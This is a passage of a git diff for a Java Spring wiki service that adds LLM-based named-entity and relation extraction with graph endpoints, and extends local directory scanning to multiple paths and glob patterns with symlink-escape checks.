kbId, + @RequestParam(required = false) String type, + @RequestParam(defaultValue = "100") int limit) { + return graphService.listEntities(kbId, type, limit); + } + + /** Whole-KB entity graph: top entities by salience plus the edges among them. */ + @GetMapping("/kb/{kbId}/entity-graph") + public WikiEntityGraphView kbEntityGraph(@PathVariable Long kbId, + @RequestParam(defaultValue = "150") int limit) { + return graphService.graph(kbId, limit); + } + + /** Ego-graph around a single entity: neighbors, edges, and mentioning pages. */ + @GetMapping("/kb/{kbId}/entities/{entityId}/graph") + public WikiEntityGraphView entityGraph(@PathVariable Long kbId, + @PathVariable Long entityId, + @RequestParam(defaultValue = "50") int limit) { + return graphService.ego(kbId, entityId, limit); + } + + /** + * Manually trigger an entity-extraction pass for a KB. Runs on the wiki + * executor so the request returns immediately. + * + * @param force when true, re-extract chunks that already have mentions + */ + @PostMapping("/kb/{kbId}/entities/extract") + public Map extract(@PathVariable Long kbId, + @RequestParam(defaultValue = "false") boolean force) { + WikiProcessingService.WIKI_EXECUTOR.submit(() -> { + try { + int count = extractionService.extractForKb(kbId, force); + log.info("[WikiEntity] Manual extraction completed: kbId={}, entities={}", kbId, count); + } catch (Exception e) { + log.warn("[WikiEntity] Manual extraction failed for kbId={}: {}", kbId, e.getMessage()); + } + }); + return Map.of("status", "started", "kbId", kbId); + } +} diff --git a/mateclaw-server/src/main/java/vip/mate/wiki/dto/EntityExtractionResult.java b/mateclaw-server/src/main/java/vip/mate/wiki/dto/EntityExtractionResult.java new file mode 100644 index 00000000..4a5f1794 --- /dev/null +++ b/mateclaw-server/src/main/java/vip/mate/wiki/dto/EntityExtractionResult.java @@ -0,0 +1,49 @@ +package vip.mate.wiki.dto; + +import lombok.Data; + +import java.util.ArrayList; +import java.util.List; + +/** + * Structured output schema for a single entity-extraction LLM call over one + * source chunk. Bound via {@code BeanOutputConverter} and tolerant of a model + * returning either field empty. + * + * @author MateClaw Team + */ +@Data +public class EntityExtractionResult { + + /** Named entities found in the chunk. */ + private List entities = new ArrayList<>(); + + /** Subject → predicate → object triples between the extracted entities. */ + private List relations = new ArrayList<>(); + + @Data + public static class ExtractedEntity { + /** Canonical surface form of the entity as it appears in the text. */ + private String name; + /** One of the requested types: person | organization | location | event | product | concept | other. */ + private String type; + /** Alternate names / spellings for the same entity, if any. */ + private List aliases = new ArrayList<>(); + /** One-line description grounded in the chunk. */ + private String description; + /** Short verbatim quote evidencing the entity. */ + private String evidence; + } + + @Data + public static class ExtractedRelation { + /** Subject entity name (should match an entry in {@link #entities}). */ + private String subject; + /** Relation label, e.g. "works_for", "located_in", "founded". */ + private String predicate; + /** Object entity name (should match an entry in {@link #entities}). */ + private String object; + /** Short verbatim quote evidencing the relation. */ + private String evidence; + } +} diff --git a/mateclaw-server/src/main/java/vip/mate/wiki/dto/WikiEntityGraphView.java b/mateclaw-server/src/main/java/vip/mate/wiki/dto/WikiEntityGraphView.java new file mode 100644 index 00000000..69b1cfb8 --- /dev/null +++ b/mateclaw-server/src/main/java/vip/mate/wiki/dto/WikiEntityGraphView.java @@ -0,0 +1,40 @@ +package vip.mate.wiki.dto; + +import lombok.Data; + +import java.math.BigDecimal; +import java.util.ArrayList; +import java.util.List; + +/** + * Ego-graph around one entity: the center node, its neighbor entity nodes, + * the relation edges connecting them, and the wiki pages that mention the + * center entity (the bridge from the entity layer to the page layer). + * + * @author MateClaw Team + */ +@Data +public class WikiEntityGraphView { + + private WikiEntityView center; + private List nodes = new ArrayList<>(); + private List edges = new ArrayList<>(); + private List pages = new ArrayList<>(); + + @Data + public static class Edge { + private Long id; + private Long subjectEntityId; + private String predicate; + private Long objectEntityId; + private String evidence; + private BigDecimal confidence; + } + + @Data + public static class PageRef { + private Long pageId; + private String slug; + private String title; + } +} diff --git a/mateclaw-server/src/main/java/vip/mate/wiki/dto/WikiEntityView.java b/mateclaw-server/src/main/java/vip/mate/wiki/dto/WikiEntityView.java new file mode 100644 index 00000000..1ab8db68 --- /dev/null +++ b/mateclaw-server/src/main/java/vip/mate/wiki/dto/WikiEntityView.java @@ -0,0 +1,24 @@ +package vip.mate.wiki.dto; + +import lombok.Data; + +import java.math.BigDecimal; +import java.util.List; + +/** + * API-facing projection of a canonical entity node. Excludes the raw + * embedding vector and other internal columns. + * + * @author MateClaw Team + */ +@Data +public class WikiEntityView { + private Long id; + private Long kbId; + private String canonicalName; + private String type; + private List aliases; + private String description; + private BigDecimal salience; + private Integer mentionCount; +} diff --git a/mateclaw-server/src/main/java/vip/mate/wiki/job/WikiJobStep.java b/mateclaw-server/src/main/java/vip/mate/wiki/job/WikiJobStep.java index 707a8a8d..eb78af8c 100644 --- a/mateclaw-server/src/main/java/vip/mate/wiki/job/WikiJobStep.java +++ b/mateclaw-server/src/main/java/vip/mate/wiki/job/WikiJobStep.java @@ -1,9 +1,8 @@ package vip.mate.wiki.job; /** - * RFC-030: Logical steps within a wiki processing job, - * used for per-step model routing. + * Logical steps within a wiki processing job, used for per-step model routing. */ public enum WikiJobStep { - ROUTE, CREATE_PAGE, MERGE_PAGE, ENRICH, SUMMARY + ROUTE, CREATE_PAGE, MERGE_PAGE, ENRICH, SUMMARY, ENTITY_EXTRACTION } diff --git a/mateclaw-server/src/main/java/vip/mate/wiki/job/WikiKbConfig.java b/mateclaw-server/src/main/java/vip/mate/wiki/job/WikiKbConfig.java index e1e1a489..5230de2b 100644 --- a/mateclaw-server/src/main/java/vip/mate/wiki/job/WikiKbConfig.java +++ b/mateclaw-server/src/main/java/vip/mate/wiki/job/WikiKbConfig.java @@ -57,4 +57,21 @@ public class WikiKbConfig { * pageType to be granted explicitly per agent. */ private String defaultReadPolicy; + + /** + * Opt-in for entity-level knowledge graph extraction on this KB. When + * {@code true}, an extraction pass runs after ingest/embedding to pull + * named entities (person, organization, location, ...) and their + * relations from source chunks into the {@code mate_wiki_entity*} tables. + * {@code null} or {@code false} keeps the legacy behaviour (page graph + * only). Off by default because extraction adds LLM calls per chunk. + */ + private Boolean entityExtractionEnabled; + + /** + * Optional whitelist of entity types to extract, e.g. + * {@code ["person","organization","location"]}. {@code null} or empty + * lets the extractor use its built-in default type set. + */ + private List entityTypes; } diff --git a/mateclaw-server/src/main/java/vip/mate/wiki/model/WikiEntityEntity.java b/mateclaw-server/src/main/java/vip/mate/wiki/model/WikiEntityEntity.java new file mode 100644 index 00000000..51a148a5 --- /dev/null +++ b/mateclaw-server/src/main/java/vip/mate/wiki/model/WikiEntityEntity.java @@ -0,0 +1,72 @@ +package vip.mate.wiki.model; + +import com.baomidou.mybatisplus.annotation.FieldFill; +import com.baomidou.mybatisplus.annotation.IdType; +import com.baomidou.mybatisplus.annotation.TableField; +import com.baomidou.mybatisplus.annotation.TableId; +import com.baomidou.mybatisplus.annotation.TableLogic; +import com.baomidou.mybatisplus.annotation.TableName; +import lombok.Data; + +import java.math.BigDecimal; +import java.time.LocalDateTime; + +/** + * Canonical named-entity node extracted and de-duplicated from source chunks. + * + *

    Mention-granularity counterpart to {@link WikiPageEntity} (which models + * document/topic granularity). Entities link to their source occurrences via + * {@link WikiEntityMentionEntity} and to one another via + * {@link WikiEntityRelationEntity}, forming an entity-level knowledge graph + * beneath the page graph cached in {@link WikiRelationEntity}. + * + * @author MateClaw Team + */ +@Data +@TableName("mate_wiki_entity") +public class WikiEntityEntity { + + @TableId(type = IdType.ASSIGN_ID) + private Long id; + + private Long kbId; + + /** Display name chosen for the merged entity. */ + private String canonicalName; + + /** Case/whitespace-folded key used for exact-match de-duplication. */ + private String normalizedKey; + + /** Entity taxonomy: person | organization | location | event | product | concept | other. */ + private String type; + + /** JSON array of surface forms merged into this entity. */ + private String aliasesJson; + + /** One-line summary synthesized from the mentions. */ + private String description; + + /** 0..1 importance score derived from mention frequency / distribution. */ + private BigDecimal salience; + + /** Number of mentions resolved to this entity. */ + private Integer mentionCount; + + /** Float32 little-endian name/description vector used for near-duplicate merge. */ + private byte[] embedding; + + /** Model name that produced {@link #embedding}; used for re-embed detection. */ + private String embeddingModel; + + /** Fingerprint of the inputs that produced this row; used for cache invalidation. */ + private String computedHash; + + @TableField(fill = FieldFill.INSERT) + private LocalDateTime createTime; + + @TableField(fill = FieldFill.INSERT_UPDATE) + private LocalDateTime updateTime; + + @TableLogic + private Integer deleted; +} diff --git a/mateclaw-server/src/main/java/vip/mate/wiki/model/WikiEntityMentionEntity.java b/mateclaw-server/src/main/java/vip/mate/wiki/model/WikiEntityMentionEntity.java new file mode 100644 index 00000000..e710d26f --- /dev/null +++ b/mateclaw-server/src/main/java/vip/mate/wiki/model/WikiEntityMentionEntity.java @@ -0,0 +1,64 @@ +package vip.mate.wiki.model; + +import com.baomidou.mybatisplus.annotation.FieldFill; +import com.baomidou.mybatisplus.annotation.IdType; +import com.baomidou.mybatisplus.annotation.TableField; +import com.baomidou.mybatisplus.annotation.TableId; +import com.baomidou.mybatisplus.annotation.TableLogic; +import com.baomidou.mybatisplus.annotation.TableName; +import lombok.Data; + +import java.math.BigDecimal; +import java.time.LocalDateTime; + +/** + * Links a canonical {@link WikiEntityEntity} to a single source occurrence. + * + *

    One row per (entity, chunk) occurrence. {@link #pageId} is back-filled + * from the chunk's citing pages so the entity layer connects to the page + * layer: entity → mention → chunk → citing page. + * + * @author MateClaw Team + */ +@Data +@TableName("mate_wiki_entity_mention") +public class WikiEntityMentionEntity { + + @TableId(type = IdType.ASSIGN_ID) + private Long id; + + private Long kbId; + + /** The resolved canonical entity. */ + private Long entityId; + + /** Source chunk the mention was found in. */ + private Long chunkId; + + /** A wiki page that cites {@link #chunkId}, when known; null otherwise. */ + private Long pageId; + + /** The exact text as it appeared in the source. */ + private String surfaceForm; + + /** Character offset of the mention within the chunk, when known. */ + private Integer charOffset; + + /** 0..1 extraction confidence. */ + private BigDecimal confidence; + + /** Short surrounding quote (≤ 500 chars enforced in Java layer). */ + private String evidence; + + /** Provenance tag: llm-extracted | manual. */ + private String source; + + @TableField(fill = FieldFill.INSERT) + private LocalDateTime createTime; + + @TableField(fill = FieldFill.INSERT_UPDATE) + private LocalDateTime updateTime; + + @TableLogic + private Integer deleted; +} diff --git a/mateclaw-server/src/main/java/vip/mate/wiki/model/WikiEntityRelationEntity.java b/mateclaw-server/src/main/java/vip/mate/wiki/model/WikiEntityRelationEntity.java new file mode 100644 index 00000000..84666ea3 --- /dev/null +++ b/mateclaw-server/src/main/java/vip/mate/wiki/model/WikiEntityRelationEntity.java @@ -0,0 +1,64 @@ +package vip.mate.wiki.model; + +import com.baomidou.mybatisplus.annotation.FieldFill; +import com.baomidou.mybatisplus.annotation.IdType; +import com.baomidou.mybatisplus.annotation.TableField; +import com.baomidou.mybatisplus.annotation.TableId; +import com.baomidou.mybatisplus.annotation.TableLogic; +import com.baomidou.mybatisplus.annotation.TableName; +import lombok.Data; + +import java.math.BigDecimal; +import java.time.LocalDateTime; + +/** + * Directed subject → predicate → object triple between two canonical entities; + * the edges of the entity-level knowledge graph. + * + *

    Distinct from {@link WikiRelationEntity}, which scores page-to-page edges. + * A row here is one fact triple connecting two {@link WikiEntityEntity} nodes. + * + * @author MateClaw Team + */ +@Data +@TableName("mate_wiki_entity_relation") +public class WikiEntityRelationEntity { + + @TableId(type = IdType.ASSIGN_ID) + private Long id; + + private Long kbId; + + /** Head entity. */ + private Long subjectEntityId; + + /** Free-text relation label, e.g. {@code works_for}, {@code located_in}. */ + private String predicate; + + /** Tail entity. */ + private Long objectEntityId; + + /** Short justification quote (≤ 500 chars enforced in Java layer). */ + private String evidence; + + /** 0..1 extraction confidence. */ + private BigDecimal confidence; + + /** Provenance tag: llm-extracted | inferred | manual. */ + private String source; + + /** Source chunk the triple was extracted from, when known. */ + private Long evidenceChunkId; + + /** Fingerprint of the inputs that produced this row; used for cache invalidation. */ + private String computedHash; + + @TableField(fill = FieldFill.INSERT) + private LocalDateTime createTime; + + @TableField(fill = FieldFill.INSERT_UPDATE) + private LocalDateTime updateTime; + + @TableLogic + private Integer deleted; +} diff --git a/mateclaw-server/src/main/java/vip/mate/wiki/model/WikiKnowledgeBaseEntity.java b/mateclaw-server/src/main/java/vip/mate/wiki/model/WikiKnowledgeBaseEntity.java index 3ced4646..756d5229 100644 --- a/mateclaw-server/src/main/java/vip/mate/wiki/model/WikiKnowledgeBaseEntity.java +++ b/mateclaw-server/src/main/java/vip/mate/wiki/model/WikiKnowledgeBaseEntity.java @@ -33,6 +33,13 @@ public class WikiKnowledgeBaseEntity { /** 关联的本地目录路径(可选,用于批量扫描导入) */ private String sourceDirectory; + /** + * 是否对该知识库启用自动同步(周期扫描 sourceDirectory)。1=开,0=关。 + * 自动扫描需"全局总闸 mate.wiki.watcher-enabled 开 且 本字段为 1"(AND 语义); + * 手动扫描不受此字段影响。 + */ + private Integer watcherEnabled; + /** 状态:active / processing / error */ private String status; diff --git a/mateclaw-server/src/main/java/vip/mate/wiki/model/WikiPageEntity.java b/mateclaw-server/src/main/java/vip/mate/wiki/model/WikiPageEntity.java index 31df23be..15cf25a7 100644 --- a/mateclaw-server/src/main/java/vip/mate/wiki/model/WikiPageEntity.java +++ b/mateclaw-server/src/main/java/vip/mate/wiki/model/WikiPageEntity.java @@ -38,6 +38,16 @@ public class WikiPageEntity { @TableField(updateStrategy = FieldStrategy.ALWAYS) private String outgoingLinks; + /** + * Alternate concept names this page also covers (JSON array, e.g. + * ["叶绿体","线粒体"]). Set for discrimination / composite pages that absorb + * several fine-grained concepts which never became standalone pages. The + * post-ingestion link reconciler uses these so a [[叶绿体]] reference from + * another page resolves to this page instead of dangling. + */ + @TableField(updateStrategy = FieldStrategy.ALWAYS) + private String aliases; + /** 来源原始材料 ID(JSON 数组) */ @TableField(updateStrategy = FieldStrategy.ALWAYS) private String sourceRawIds; diff --git a/mateclaw-server/src/main/java/vip/mate/wiki/model/WikiTransformationEntity.java b/mateclaw-server/src/main/java/vip/mate/wiki/model/WikiTransformationEntity.java index 7acc5ec5..75a35914 100644 --- a/mateclaw-server/src/main/java/vip/mate/wiki/model/WikiTransformationEntity.java +++ b/mateclaw-server/src/main/java/vip/mate/wiki/model/WikiTransformationEntity.java @@ -84,6 +84,15 @@ public class WikiTransformationEntity { */ private String outputSchema; + /** + * Optional target pageType for output that lands as a wiki page + * ({@code outputTarget == 'page'}). Normalised against the KB's pageType + * profile at save time; {@code null}/blank falls back to the profile's + * {@code fallbackType}, so transformation output is always a first-class + * member of the KB classification rather than a hard-coded type. + */ + private String targetPageType; + @TableField(fill = FieldFill.INSERT) private LocalDateTime createTime; diff --git a/mateclaw-server/src/main/java/vip/mate/wiki/profile/WikiPageTypeProfile.java b/mateclaw-server/src/main/java/vip/mate/wiki/profile/WikiPageTypeProfile.java index 32de2be7..850a5168 100644 --- a/mateclaw-server/src/main/java/vip/mate/wiki/profile/WikiPageTypeProfile.java +++ b/mateclaw-server/src/main/java/vip/mate/wiki/profile/WikiPageTypeProfile.java @@ -36,6 +36,28 @@ public class WikiPageTypeProfile { */ private boolean allowAdditionalFields = false; + /** + * Normalise keys to lowercase on set so a user-authored profile with an + * uppercase pageType key (e.g. {@code "Concept"}) still matches the + * case-insensitive {@link #hasPageType}/{@link #get} lookups. Replaces the + * Lombok-generated setter (so Jackson deserialization goes through here too). + */ + public void setPageTypes(Map pageTypes) { + Map normalized = new LinkedHashMap<>(); + if (pageTypes != null) { + for (Map.Entry e : pageTypes.entrySet()) { + if (e.getKey() == null) { + continue; + } + String key = e.getKey().trim().toLowerCase(); + if (!key.isEmpty()) { + normalized.put(key, e.getValue()); + } + } + } + this.pageTypes = normalized; + } + /** Whether this profile declares the given pageType (case-insensitive). */ public boolean hasPageType(String pageType) { if (pageType == null) { diff --git a/mateclaw-server/src/main/java/vip/mate/wiki/repository/WikiEntityMapper.java b/mateclaw-server/src/main/java/vip/mate/wiki/repository/WikiEntityMapper.java new file mode 100644 index 00000000..2eb0392d --- /dev/null +++ b/mateclaw-server/src/main/java/vip/mate/wiki/repository/WikiEntityMapper.java @@ -0,0 +1,17 @@ +package vip.mate.wiki.repository; + +import com.baomidou.mybatisplus.core.mapper.BaseMapper; +import org.apache.ibatis.annotations.Mapper; +import vip.mate.wiki.model.WikiEntityEntity; + +/** + * Mapper for canonical named-entity nodes. + * + *

    Write paths upsert keyed by ({@code kb_id}, {@code normalized_key}, + * {@code type}); read paths list by {@code kb_id} ordered by {@code salience}. + * + * @author MateClaw Team + */ +@Mapper +public interface WikiEntityMapper extends BaseMapper { +} diff --git a/mateclaw-server/src/main/java/vip/mate/wiki/repository/WikiEntityMentionMapper.java b/mateclaw-server/src/main/java/vip/mate/wiki/repository/WikiEntityMentionMapper.java new file mode 100644 index 00000000..97ad180f --- /dev/null +++ b/mateclaw-server/src/main/java/vip/mate/wiki/repository/WikiEntityMentionMapper.java @@ -0,0 +1,17 @@ +package vip.mate.wiki.repository; + +import com.baomidou.mybatisplus.core.mapper.BaseMapper; +import org.apache.ibatis.annotations.Mapper; +import vip.mate.wiki.model.WikiEntityMentionEntity; + +/** + * Mapper for entity-to-source occurrence links. + * + *

    Read paths fetch mentions by {@code entity_id} or by {@code page_id}; + * cache invalidation soft-deletes by {@code chunk_id} or {@code kb_id}. + * + * @author MateClaw Team + */ +@Mapper +public interface WikiEntityMentionMapper extends BaseMapper { +} diff --git a/mateclaw-server/src/main/java/vip/mate/wiki/repository/WikiEntityRelationMapper.java b/mateclaw-server/src/main/java/vip/mate/wiki/repository/WikiEntityRelationMapper.java new file mode 100644 index 00000000..137ce63a --- /dev/null +++ b/mateclaw-server/src/main/java/vip/mate/wiki/repository/WikiEntityRelationMapper.java @@ -0,0 +1,19 @@ +package vip.mate.wiki.repository; + +import com.baomidou.mybatisplus.core.mapper.BaseMapper; +import org.apache.ibatis.annotations.Mapper; +import vip.mate.wiki.model.WikiEntityRelationEntity; + +/** + * Mapper for entity-to-entity fact triples. + * + *

    Read paths traverse the ego-graph by {@code subject_entity_id} / + * {@code object_entity_id}; write paths upsert keyed by the triple + * ({@code kb_id}, {@code subject_entity_id}, {@code predicate}, + * {@code object_entity_id}). + * + * @author MateClaw Team + */ +@Mapper +public interface WikiEntityRelationMapper extends BaseMapper { +} diff --git a/mateclaw-server/src/main/java/vip/mate/wiki/service/WikiDirectoryScanService.java b/mateclaw-server/src/main/java/vip/mate/wiki/service/WikiDirectoryScanService.java index 9978306d..cfd21ebe 100644 --- a/mateclaw-server/src/main/java/vip/mate/wiki/service/WikiDirectoryScanService.java +++ b/mateclaw-server/src/main/java/vip/mate/wiki/service/WikiDirectoryScanService.java @@ -5,7 +5,6 @@ import lombok.extern.slf4j.Slf4j; import org.springframework.stereotype.Service; import vip.mate.wiki.WikiProperties; import vip.mate.wiki.model.WikiKnowledgeBaseEntity; -import vip.mate.wiki.model.WikiRawMaterialEntity; import java.io.IOException; import java.nio.charset.StandardCharsets; @@ -18,6 +17,13 @@ import java.util.*; *

    * 扫描本地目录中的文档文件,为每个文件创建原始材料。 * 基于 sourcePath 去重,避免重复导入。 + *

    + * sourceDirectory 支持换行分隔的多条记录,每条可以是: + *

      + *
    • 普通目录路径(如 {@code /data/docs})——递归扫描,按 SUPPORTED_EXTENSIONS 过滤
    • + *
    • Glob 模式(如 {@code /data/ocr/**}{@code /*.txt})——从固定前缀出发,用 PathMatcher 过滤
    • + *
    + * 以 {@code #} 开头的行视为注释,忽略。路径解析与验证委托给 {@link WikiSourcePathValidator}。 * * @author MateClaw Team */ @@ -38,13 +44,16 @@ public class WikiDirectoryScanService { private static final Set TEXT_EXTENSIONS = Set.of("txt", "md", "csv"); + /** 一个待处理候选文件及其所属的扫描根(用于符号链接逃逸检测)。 */ + private record FileCandidate(Path file, Path scanRoot) {} + /** * 扫描结果 */ public record ScanResult(int scanned, int added, int skipped, List errors) {} /** - * 扫描指定知识库关联的目录 + * 扫描指定知识库关联的目录(支持多路径 + glob) */ public ScanResult scan(Long kbId) { WikiKnowledgeBaseEntity kb = kbService.getById(kbId); @@ -59,79 +68,42 @@ public class WikiDirectoryScanService { } /** - * 扫描指定目录,为每个支持的文件创建原始材料 + * 扫描指定路径配置,支持换行分隔的多条路径/Glob 模式。 + * 单条普通路径时与旧行为完全兼容。 */ public ScanResult scanDirectory(Long kbId, String directoryPath) { - Path dir; - try { - // Canonicalize (resolving symlinks) and enforce allowed-roots so a - // scan cannot read outside the authorized area. - dir = pathValidator.validateDirectory(directoryPath); - } catch (IllegalArgumentException e) { - return new ScanResult(0, 0, 0, List.of(e.getMessage())); + List patterns = WikiSourcePathValidator.parseSourcePatterns(directoryPath); + if (patterns.isEmpty()) { + return new ScanResult(0, 0, 0, List.of("No source directory configured")); } + return scanWithPatterns(kbId, patterns); + } - if (!Files.exists(dir)) { - return new ScanResult(0, 0, 0, List.of("Directory does not exist: " + dir)); - } - if (!Files.isDirectory(dir)) { - return new ScanResult(0, 0, 0, List.of("Path is not a directory: " + dir)); - } + // ==================== private ==================== - List files = new ArrayList<>(); + private ScanResult scanWithPatterns(Long kbId, List patterns) { + List candidates = new ArrayList<>(); List errors = new ArrayList<>(); int maxFiles = properties.getMaxScanFiles(); long maxFileSize = properties.getMaxScanFileSize(); - // 递归遍历目录 - try { - Files.walkFileTree(dir, new SimpleFileVisitor<>() { - @Override - public FileVisitResult preVisitDirectory(Path d, BasicFileAttributes attrs) { - // 跳过隐藏目录 - String name = d.getFileName().toString(); - if (name.startsWith(".") && !d.equals(dir)) { - return FileVisitResult.SKIP_SUBTREE; - } - return FileVisitResult.CONTINUE; - } - - @Override - public FileVisitResult visitFile(Path file, BasicFileAttributes attrs) { - if (files.size() >= maxFiles) { - return FileVisitResult.TERMINATE; - } - String fileName = file.getFileName().toString(); - // 跳过隐藏文件 - if (fileName.startsWith(".")) return FileVisitResult.CONTINUE; - // 跳过过大文件 - if (attrs.size() > maxFileSize) { - log.debug("[Wiki] Skipping large file: {} ({} bytes)", file, attrs.size()); - return FileVisitResult.CONTINUE; - } - // 检查扩展名 - String ext = getExtension(fileName); - if (SUPPORTED_EXTENSIONS.contains(ext)) { - files.add(file); - } - return FileVisitResult.CONTINUE; - } - - @Override - public FileVisitResult visitFileFailed(Path file, IOException exc) { - errors.add("Cannot read: " + file.getFileName() + " (" + exc.getMessage() + ")"); - return FileVisitResult.CONTINUE; - } - }); - } catch (IOException e) { - return new ScanResult(0, 0, 0, List.of("Failed to scan directory: " + e.getMessage())); + for (String pattern : patterns) { + if (candidates.size() >= maxFiles) break; + collectCandidates(pattern, candidates, errors, maxFiles, maxFileSize); } - int scanned = files.size(); + // Deduplicate: the same file can be matched by multiple overlapping patterns. + // Keep first-match order; first-match scanRoot wins for the symlink escape check. + Set seen = new LinkedHashSet<>(); + candidates.removeIf(c -> !seen.add(c.file().toAbsolutePath().normalize())); + + int scanned = candidates.size(); int added = 0; int skipped = 0; - for (Path file : files) { + for (FileCandidate candidate : candidates) { + Path file = candidate.file(); + Path scanRoot = candidate.scanRoot(); try { // Per-file symlink guard: a symlinked file inside an allowed // directory could point outside it (e.g. secret.md -> @@ -143,7 +115,7 @@ public class WikiDirectoryScanService { } catch (IOException e) { realFile = file.toAbsolutePath().normalize(); } - if (!realFile.startsWith(dir)) { + if (!realFile.startsWith(scanRoot)) { errors.add("Skipped symlink escaping the scan root: " + file.getFileName()); skipped++; continue; @@ -210,17 +182,152 @@ public class WikiDirectoryScanService { } } - if (files.size() >= maxFiles) { + if (candidates.size() >= maxFiles) { errors.add("Scan limit reached (" + maxFiles + " files). Some files may have been skipped."); } - log.info("[Wiki] Directory scan completed: dir={}, scanned={}, added={}, skipped={}, errors={}", - directoryPath, scanned, added, skipped, errors.size()); + log.info("[Wiki] Scan completed: patterns={}, scanned={}, added={}, skipped={}, errors={}", + patterns, scanned, added, skipped, errors.size()); return new ScanResult(scanned, added, skipped, errors); } - private String getExtension(String fileName) { + private void collectCandidates(String pattern, List candidates, + List errors, int maxFiles, long maxFileSize) { + boolean hasWildcard = containsWildcard(pattern); + Path scanRoot; + PathMatcher matcher; + boolean requireSupportedExt; + + if (!hasWildcard) { + // Plain directory: walk recursively, filter by SUPPORTED_EXTENSIONS. + try { + scanRoot = pathValidator.validateDirectory(pattern); + } catch (IllegalArgumentException e) { + errors.add(e.getMessage()); + return; + } + if (!Files.exists(scanRoot) || !Files.isDirectory(scanRoot)) { + errors.add("Not a directory: " + scanRoot); + return; + } + matcher = null; + requireSupportedExt = true; + } else { + // Glob pattern: validate the fixed-prefix base, then apply PathMatcher. + String basePath = WikiSourcePathValidator.extractBasePath(pattern); + try { + scanRoot = pathValidator.validateDirectory(basePath); + } catch (IllegalArgumentException e) { + errors.add(e.getMessage()); + return; + } + if (!Files.exists(scanRoot)) { + errors.add("Base directory does not exist: " + scanRoot); + return; + } + // validateDirectory canonicalizes via toRealPath, so scanRoot is the + // symlink-resolved real path and walkFileTree yields real-path-prefixed + // files. The matcher must use that resolved base, not the literal pattern + // prefix — otherwise a symlinked base never matches. Rebuild the pattern + // by swapping the literal base for the resolved scanRoot, keeping the + // wildcard tail; escape glob metacharacters in the base so a real + // directory name containing */?/{}/[] is treated literally. + String wildcardTail = pattern.substring(basePath.length()); + // Normalise the resolved base to forward slashes: glob uses '/' as its + // separator, and on Windows scanRoot.toString() yields backslashes that + // globEscape would escape, producing a pattern that never matches. + String effectivePattern = globEscape(scanRoot.toString().replace('\\', '/')) + wildcardTail; + try { + matcher = FileSystems.getDefault().getPathMatcher("glob:" + effectivePattern); + } catch (IllegalArgumentException e) { + errors.add("Invalid glob pattern '" + pattern + "': " + e.getMessage()); + return; + } + // If the filename segment already specifies an extension (e.g. *.txt), + // skip the secondary SUPPORTED_EXTENSIONS filter to respect the explicit choice. + requireSupportedExt = !patternSpecifiesExtension(pattern); + } + + final Path finalScanRoot = scanRoot; + final PathMatcher finalMatcher = matcher; + final boolean finalRequireExt = requireSupportedExt; + + try { + Files.walkFileTree(scanRoot, new SimpleFileVisitor<>() { + @Override + public FileVisitResult preVisitDirectory(Path d, BasicFileAttributes attrs) { + String name = d.getFileName().toString(); + if (name.startsWith(".") && !d.equals(finalScanRoot)) { + return FileVisitResult.SKIP_SUBTREE; + } + return FileVisitResult.CONTINUE; + } + + @Override + public FileVisitResult visitFile(Path file, BasicFileAttributes attrs) { + if (candidates.size() >= maxFiles) return FileVisitResult.TERMINATE; + String fileName = file.getFileName().toString(); + if (fileName.startsWith(".")) return FileVisitResult.CONTINUE; + if (attrs.size() > maxFileSize) { + log.debug("[Wiki] Skipping large file: {} ({} bytes)", file, attrs.size()); + return FileVisitResult.CONTINUE; + } + String ext = getExtension(fileName); + boolean accept; + if (finalMatcher != null) { + accept = finalMatcher.matches(file.toAbsolutePath()); + if (accept && finalRequireExt) { + accept = SUPPORTED_EXTENSIONS.contains(ext); + } + } else { + accept = SUPPORTED_EXTENSIONS.contains(ext); + } + if (accept) { + candidates.add(new FileCandidate(file, finalScanRoot)); + } + return FileVisitResult.CONTINUE; + } + + @Override + public FileVisitResult visitFileFailed(Path file, IOException exc) { + errors.add("Cannot read: " + file.getFileName() + " (" + exc.getMessage() + ")"); + return FileVisitResult.CONTINUE; + } + }); + } catch (IOException e) { + errors.add("Failed to scan '" + pattern + "': " + e.getMessage()); + } + } + + /** + * 判断 glob 模式的文件名段是否已显式指定扩展名(如 {@code *.txt}、{@code *.{txt,md}}), + * 是则不再叠加 SUPPORTED_EXTENSIONS 过滤,以尊重用户的明确选择。 + */ + private static boolean patternSpecifiesExtension(String pattern) { + int lastSlash = pattern.lastIndexOf('/'); + String lastSeg = lastSlash >= 0 ? pattern.substring(lastSlash + 1) : pattern; + return lastSeg.contains(".") && containsWildcard(lastSeg); + } + + private static boolean containsWildcard(String s) { + return s.contains("*") || s.contains("?") || s.contains("{") || s.contains("["); + } + + /** Escape glob metacharacters so a literal path segment is matched verbatim. */ + private static String globEscape(String s) { + StringBuilder b = new StringBuilder(s.length()); + for (int i = 0; i < s.length(); i++) { + char c = s.charAt(i); + if ("\\*?{}[]".indexOf(c) >= 0) { + b.append('\\'); + } + b.append(c); + } + return b.toString(); + } + + private static String getExtension(String fileName) { int dot = fileName.lastIndexOf('.'); return dot > 0 ? fileName.substring(dot + 1).toLowerCase() : ""; } diff --git a/mateclaw-server/src/main/java/vip/mate/wiki/service/WikiEntityExtractionService.java b/mateclaw-server/src/main/java/vip/mate/wiki/service/WikiEntityExtractionService.java new file mode 100644 index 00000000..6bbdd007 --- /dev/null +++ b/mateclaw-server/src/main/java/vip/mate/wiki/service/WikiEntityExtractionService.java @@ -0,0 +1,539 @@ +package vip.mate.wiki.service; + +import com.baomidou.mybatisplus.core.conditions.query.LambdaQueryWrapper; +import com.fasterxml.jackson.databind.ObjectMapper; +import lombok.RequiredArgsConstructor; +import lombok.extern.slf4j.Slf4j; +import org.springframework.ai.chat.messages.SystemMessage; +import org.springframework.ai.chat.messages.UserMessage; +import org.springframework.ai.chat.model.ChatModel; +import org.springframework.ai.chat.model.ChatResponse; +import org.springframework.ai.chat.prompt.Prompt; +import org.springframework.ai.converter.BeanOutputConverter; +import org.springframework.stereotype.Service; +import vip.mate.llm.service.ModelConfigService; +import vip.mate.wiki.dto.EntityExtractionResult; +import vip.mate.wiki.job.WikiJobStep; +import vip.mate.wiki.job.WikiKbConfig; +import vip.mate.wiki.job.WikiKbConfigParser; +import vip.mate.wiki.job.WikiModelRoutingService; +import vip.mate.wiki.model.WikiChunkEntity; +import vip.mate.wiki.model.WikiEntityEntity; +import vip.mate.wiki.model.WikiEntityMentionEntity; +import vip.mate.wiki.model.WikiEntityRelationEntity; +import vip.mate.wiki.model.WikiKnowledgeBaseEntity; +import vip.mate.wiki.repository.WikiEntityMapper; +import vip.mate.wiki.repository.WikiEntityMentionMapper; +import vip.mate.wiki.repository.WikiEntityRelationMapper; +import 